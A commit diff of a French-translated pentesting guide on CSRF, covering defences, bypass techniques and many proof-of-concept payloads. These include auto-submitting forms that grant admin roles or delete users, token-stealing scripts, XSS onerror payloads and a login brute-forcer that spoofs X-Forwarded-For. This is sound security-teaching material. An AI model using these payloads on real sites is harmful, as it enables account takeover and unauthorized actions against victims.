Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

This commit is contained in:
Translator 2025-09-29 22:37:18 +00:00
parent 7662377be9
commit a1ec44eca3
2 changed files with 159 additions and 69 deletions

View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

View File

@ -2,53 +2,60 @@
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) expliqué
## Cross-Site Request Forgery (CSRF) Expliqué
**Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présent dans les applications web. Elle permet à des attaquants d'exécuter des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque s'exécute lorsqu'un utilisateur, connecté à la plateforme de la victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime via des méthodes telles que l'exécution de JavaScript, la soumission de formulaires, ou le chargement d'images.
**Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présent dans les applications web. Elle permet à des attaquants d'exécuter des actions au nom d'utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L'attaque se déroule lorsqu'un utilisateur, connecté à la plateforme de la victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime via des méthodes comme l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
### Conditions préalables pour une attaque CSRF
### Prérequis pour une attaque CSRF
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être réunies :
1. **Identify a Valuable Action** : L'attaquant doit trouver une action intéressante à exploiter, comme changer le mot de passe de l'utilisateur, son email, ou élever ses privilèges.
2. **Session Management** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête HTTP Basic Authentication, car d'autres en-têtes ne peuvent pas être manipulés à cette fin.
3. **Absence of Unpredictable Parameters** : La requête ne doit pas contenir de paramètres imprévisibles, car ceux-ci peuvent empêcher l'attaque.
1. **Identifier une action intéressante** : l'attaquant doit trouver une action à exploiter, comme changer le mot de passe de l'utilisateur, l'email, ou élever des privilèges.
2. **Gestion de session** : la session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête HTTP Basic Authentication, car d'autres en-têtes ne peuvent pas être manipulés pour cette attaque.
3. **Absence de paramètres imprévisibles** : la requête ne doit pas contenir de paramètres imprévisibles, car ceux-ci peuvent empêcher l'attaque.
### Vérification rapide
Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF et, pour tester depuis le navigateur, vous pouvez cliquer sur **Copy as fetch** et vérifier la requête :
Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF ; pour tester depuis le navigateur, vous pouvez cliquer sur **Copy as fetch** et vérifier la requête :
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Se défendre contre CSRF
### Défense contre CSRF
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Cet attribut empêche le navigateur d'envoyer les cookies avec des requêtes cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [Learn about CORS bypass](cors-bypass.md).
- **User Verification** : Demander le mot de passe de l'utilisateur ou la résolution d'un captcha peut confirmer l'intention de l'utilisateur.
- **Checking Referrer or Origin Headers** : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, par exemple :
- Using `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
- Using `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
- **Modifying Parameter Names** : Modifier les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir des attaques automatisées.
- **CSRF Tokens** : Incorporer un token CSRF unique par session et exiger ce token dans les requêtes suivantes peut significativement réduire le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite) : cet attribut empêche le navigateur d'envoyer les cookies avec des requêtes cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md) : la politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [Learn about CORS bypass](cors-bypass.md).
- **Vérification de l'utilisateur** : demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
- **Vérification des en-têtes Referrer ou Origin** : valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URLs peut contourner des vérifications mal implémentées, par exemple :
- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
- **Modification des noms de paramètres** : modifier les noms des paramètres dans les requêtes POST ou GET peut aider à empêcher les attaques automatisées.
- **CSRF Tokens** : incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut grandement réduire le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.
#### Pièges courants des défenses
- SameSite pitfalls : `SameSite=Lax` permet toujours les navigations cross-site de niveau supérieur comme les liens et les formulaires GET, donc de nombreux CSRF basés sur GET restent possibles. Voir la matrice des cookies dans [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks : valider `Origin` quand il est présent ; si `Origin` et `Referer` sont absents, échouer en mode fermé. Ne vous fiez pas aux correspondances par sous-chaîne/regex de `Referer` qui peuvent être contournées avec des domaines similaires ou des URLs fabriquées, et notez l'astuce de suppression `meta name="referrer" content="never"`.
- Method overrides : considérer les méthodes surchargées (`_method` ou override headers) comme changeant l'état et appliquer la protection CSRF sur la méthode effective, pas seulement sur POST.
- Login flows : appliquer des protections CSRF au flux de login également ; sinon, un login CSRF permet une ré-authentification forcée dans des comptes contrôlés par l'attaquant, ce qui peut être enchaîné avec un stored XSS.
## Contournement des défenses
### From POST to GET (method-conditioned CSRF validation bypass)
### De POST à GET (method-conditioned CSRF validation bypass)
Certaines applications n'appliquent la validation CSRF que sur les requêtes POST tout en l'ignorant pour d'autres verbes. Un anti-pattern courant en PHP ressemble à :
Certaines applications n'appliquent la validation CSRF que sur POST tout en l'ignorant pour les autres verbes. Un anti-pattern courant en PHP ressemble à :
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
Si l'endpoint vulnérable accepte aussi des paramètres depuis $_REQUEST, vous pouvez réémettre la même action en tant que requête GET et omettre entièrement le token CSRF. Cela convertit une action POST-only en une action GET qui réussit sans token.
Si le point de terminaison vulnérable accepte également des paramètres depuis $_REQUEST, vous pouvez réexécuter la même action en tant que requête GET et omettre complètement le token CSRF. Cela transforme une action réservée au POST en une action GET qui réussit sans token.
Exemple:
Example:
- Original POST with token (intended):
@ -59,56 +66,96 @@ Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
- Bypass by switching to GET (no token):
- Contournement en passant à GET (sans token):
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Remarques:
- Ce pattern apparaît fréquemment conjointement avec du XSS réfléchi lorsque les réponses sont servies incorrectement en tant que text/html au lieu de application/json.
- Associer cela avec du XSS réduit fortement les barrières d'exploitation parce que vous pouvez fournir un unique lien GET qui déclenche à la fois le chemin de code vulnérable et évite complètement les vérifications CSRF.
- Ce schéma apparaît fréquemment avec du XSS réfléchi lorsque les réponses sont servies incorrectement en tant que text/html au lieu de application/json.
- Associer cela avec du XSS réduit fortement les barrières d'exploitation car vous pouvez fournir un seul lien GET qui déclenche à la fois le chemin de code vulnérable et évite complètement les vérifications CSRF.
### Absence de token
Les applications peuvent implémenter un mécanisme pour **valider les tokens** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est totalement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui contient le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).
Les applications peuvent implémenter un mécanisme pour **valider les tokens** lorsqu'ils sont présents. Cependant, une vulnérabilité survient si la validation est complètement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).
### Le token CSRF n'est pas lié à la session utilisateur
De plus, certaines implémentations vérifient seulement que le paramètre existe mais ne valident pas son contenu, donc **une valeur de token vide est acceptée**. Dans ce cas, il suffit de soumettre la requête avec `csrf=` :
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Les applications qui **ne lient pas les tokens CSRF aux sessions utilisateur** présentent un **risque de sécurité** significatif. Ces systèmes vérifient les tokens contre une **pool globale** plutôt que de s'assurer que chaque token est lié à la session initiatrice.
username=guest&role=admin&csrf=
```
PoC minimal à soumission automatique (masquer la navigation avec history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token n'est pas lié à la session utilisateur
Les applications **ne liant pas les CSRF tokens aux sessions utilisateur** présentent un **risque de sécurité** important. Ces systèmes vérifient les tokens contre un **pool global** plutôt que d'assurer que chaque token est lié à la session qui l'a initié.
Voici comment les attaquants exploitent cela :
1. **S'authentifier** en utilisant leur propre compte.
2. **Obtenir un token CSRF valide** depuis la pool globale.
2. **Obtenir un CSRF token valide** depuis le pool global.
3. **Utiliser ce token** dans une attaque CSRF contre une victime.
Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en tirant parti du **mécanisme de validation des tokens insuffisant** de l'application.
Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en exploitant le **mécanisme de validation des tokens inadéquat** de l'application.
### Contournement de la méthode
### Contournement de méthode
Si la requête utilise une **méthode "bizarre"**, vérifiez si la fonctionnalité de **méthode override** fonctionne. Par exemple, si elle **utilise un PUT** vous pouvez essayer d'**utiliser un POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Si la requête utilise une méthode « étrange », vérifiez si la fonctionnalité **method override** fonctionne. Par exemple, si elle utilise une méthode **PUT/DELETE/PATCH** vous pouvez essayer d'utiliser un **POST** et envoyer un override, p.ex. `https://example.com/my/dear/api/val/num?_method=PUT`.
Cela peut aussi fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
Cela peut aussi fonctionner en envoyant le **paramètre `_method` dans le body d'un POST** ou en utilisant des headers d'override :
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
### Contournement du token via en-tête personnalisé
Courant dans des frameworks comme **Laravel**, **Symfony**, **Express**, et d'autres. Les développeurs omettent parfois le CSRF sur les verbes non-POST en supposant que les navigateurs ne peuvent pas les émettre ; avec les overrides, vous pouvez toujours atteindre ces handlers via POST.
Si la requête ajoute un **custom header** avec un **token** à la requête comme **méthode de protection CSRF**, alors :
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
- Testez la requête sans le token personnalisé ni l'en-tête.
- Testez la requête avec un token différent mais de la **même longueur exacte**.
username=admin&_method=DELETE
```
### Le token CSRF est vérifié par un cookie
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
Les applications peuvent implémenter une protection CSRF en dupliquant le token à la fois dans un cookie et dans un paramètre de requête ou en définissant un CSRF cookie et en vérifiant si le token envoyé au backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de la requête correspond à la valeur du cookie.
Si la requête ajoute un **custom header** avec un **token** à la requête comme **CSRF protection method**, alors :
Cependant, cette méthode est vulnérable aux attaques CSRF si le site présente des failles permettant à un attaquant d'installer un CSRF cookie dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en initiant l'attaque CSRF.
- Testez la requête sans le **Customized Token and also header.**
- Testez la requête avec exactement un **same length but different token**.
Ci-dessous un exemple de la manière dont une attaque pourrait être structurée :
### CSRF token is verified by a cookie
Les applications peuvent implémenter une protection CSRF en dupliquant le token à la fois dans un cookie et dans un paramètre de requête, ou en définissant un cookie CSRF et en vérifiant si le token envoyé au backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de requête correspond à la valeur du cookie.
Cependant, cette méthode est vulnérable aux attaques CSRF si le site comporte des failles permettant à un attaquant d'installer un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en lançant l'attaque CSRF.
Ci-dessous un exemple de la manière dont une attaque pourrait être structurée:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!TIP]
> Notez que si le **csrf token est lié au session cookie cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime sur la vôtre, et donc vous vous attaquerez vousmême.
> Notez que si le **csrf token est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime sur la vôtre, et donc vous vous attaquerez vous-même.
### Changement de Content-Type
### Changement du Content-Type
Selon [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), afin d'**éviter les requêtes preflight** en utilisant la méthode **POST**, voici les valeurs Content-Type autorisées :
Selon [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), pour **éviter les requêtes preflight** en utilisant la méthode **POST** les valeurs de Content-Type autorisées sont :
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Cependant, notez que la **logique du serveur peut varier** en fonction du **Content-Type** utilisé, donc vous devriez essayer les valeurs mentionnées ainsi que d'autres comme **`application/json`**, **`text/xml`**, **`application/xml`**.
Cependant, notez que la **logique du serveur peut varier** en fonction du **Content-Type** utilisé donc vous devriez essayer les valeurs mentionnées et d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Exemple (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
Exemple (depuis [here](https://brycec.me/posts/corctf_2021_challenges)) d'envoi de données JSON en tant que text/plain:
```html
<html>
<body>
@ -162,32 +209,32 @@ form.submit()
</body>
</html>
```
### Contourner les Preflight Requests pour les données JSON
### Bypassing Preflight Requests for JSON Data
Lorsque vous tentez d'envoyer des données JSON via une requête POST, utiliser `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, utiliser `XMLHttpRequest` pour envoyer ce type de contenu déclenche un preflight request. Néanmoins, il existe des stratégies pour potentiellement contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
Lorsqu'on tente d'envoyer des données JSON via une requête POST, utiliser `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, utiliser `XMLHttpRequest` pour envoyer ce type de contenu déclenche une requête preflight. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
1. **Use Alternative Content Types** : Employez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
2. **Modify Content Type** : Pour éviter un preflight request tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela n'entraîne pas de preflight request mais peut être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
3. **SWF Flash File Utilization** : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
2. **Modify Content Type**: Pour éviter une requête preflight tout en faisant en sorte que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela n'entraîne pas de preflight mais peut être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
3. **SWF Flash File Utilization**: Une méthode moins courante mais faisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin check bypass
**Avoid Referrer header**
Les applications peuvent valider le header 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :
Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :
```xml
<meta name="referrer" content="never">
```
Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les contrôles de validation dans certaines applications.
Cela garantit que l'en-tête 'Referer' est omis, permettant potentiellement de contourner les vérifications de validation dans certaines applications.
**Contournements Regexp**
**Regexp bypasses**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres vous pouvez faire:
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres, vous pouvez faire :
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -216,17 +263,52 @@ document.forms[0].submit()
</body>
</html>
```
### **Contournement de la méthode HEAD**
### **Bypass de la méthode HEAD**
La première partie de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que d'après [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse — un contournement courant qui n'est pas propre à Oak. Plutôt que d'avoir un handler spécifique qui s'occupe des requêtes HEAD, elles sont simplement **remises au handler GET mais l'app supprime le corps de la réponse**.
La première partie de [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse — une astuce courante qui n'est pas propre à Oak. Au lieu d'un handler spécifique qui gère les requêtes HEAD, elles sont simplement **données au GET handler mais l'app supprime juste le corps de la réponse**.
Donc, si une requête GET est limitée, vous pouvez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
## **Exemples d'exploitation**
### **Exfiltration du CSRF token**
### CSRF stocké via HTML généré par l'utilisateur
Si un **CSRF token** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
Lorsque des éditeurs rich-text ou l'injection HTML sont autorisés, vous pouvez persister un fetch passif qui atteint un endpoint GET vulnérable. Tout utilisateur qui consulte le contenu effectuera automatiquement la requête avec ses cookies.
- Si l'app utilise un token CSRF global qui n'est pas lié à la session utilisateur, le même token peut fonctionner pour tous les utilisateurs, rendant le CSRF stocké fiable entre les victimes.
Exemple minimal qui modifie l'email du visiteur lors du chargement :
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF enchaîné à stored XSS
Le Login CSRF seul peut avoir un faible impact, mais l'enchaîner avec un stored XSS authentifié devient puissant : forcer la victime à s'authentifier dans un compte contrôlé par l'attaquant ; une fois dans ce contexte, un stored XSS sur une page authentifiée s'exécute et peut voler des tokens, détourner la session ou élever les privilèges.
- Assurez-vous que le endpoint de login est CSRF-able (pas de jeton par session ni de vérification d'origine) et qu'aucun contrôle d'interaction utilisateur ne le bloque.
- Après le login forcé, naviguer automatiquement vers une page contenant le payload stored XSS de l'attaquant.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltration du CSRF Token**
Si un **CSRF token** est utilisé comme **défense**, vous pouvez essayer de l'**exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET en utilisant des balises HTML**
```xml
@ -263,7 +345,7 @@ background: url("...");
</video>
</audio>
```
### Requête GET via formulaire
### Requête GET par formulaire
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body>
</html>
```
### Requête POST d'un formulaire via iframe
### Requête POST de formulaire via iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
@ -332,7 +414,7 @@ document.forms[0].submit()
</body>
</html>
```
### **Requête Ajax POST**
### **Requête POST Ajax**
```html
<script>
var xh
@ -374,7 +456,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data requête POST v2
### multipart/form-data POST requête v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Requête POST d'un formulaire depuis un iframe
### Requête POST de formulaire depuis un iframe
```html
<--! expl.html -->
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **Voler CSRF Token et envoyer une requête POST**
### **Voler le CSRF Token et envoyer une requête POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -473,7 +555,7 @@ var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Voler le CSRF Token et envoyer une requête POST en utilisant un iframe, un formulaire et Ajax**
### **Voler le CSRF Token et envoyer une requête POST en utilisant un iframe, a form et Ajax**
```html
<form
id="form1"
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token avec Ajax et envoyer un post via un formulaire**
### **POSTSteal CSRF token avec Ajax et envoyer un POST avec un formulaire**
```html
<body onload="getData()">
<form
@ -617,7 +699,7 @@ room: username,
```
## CSRF Login Brute Force
Le code peut être utilisé pour Brut Force un formulaire de connexion en utilisant un CSRF token (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel IP blacklisting):
Le code peut être utilisé pour Brut Force un formulaire de connexion en utilisant le CSRF token (Il utilise aussi l'en-tête X-Forwarded-For pour tenter de contourner une éventuelle IP blacklisting):
```python
import request
import re
@ -665,6 +747,7 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional Generate CSRF PoCs](https://portswigger.net/burp)
## Références
@ -673,5 +756,11 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}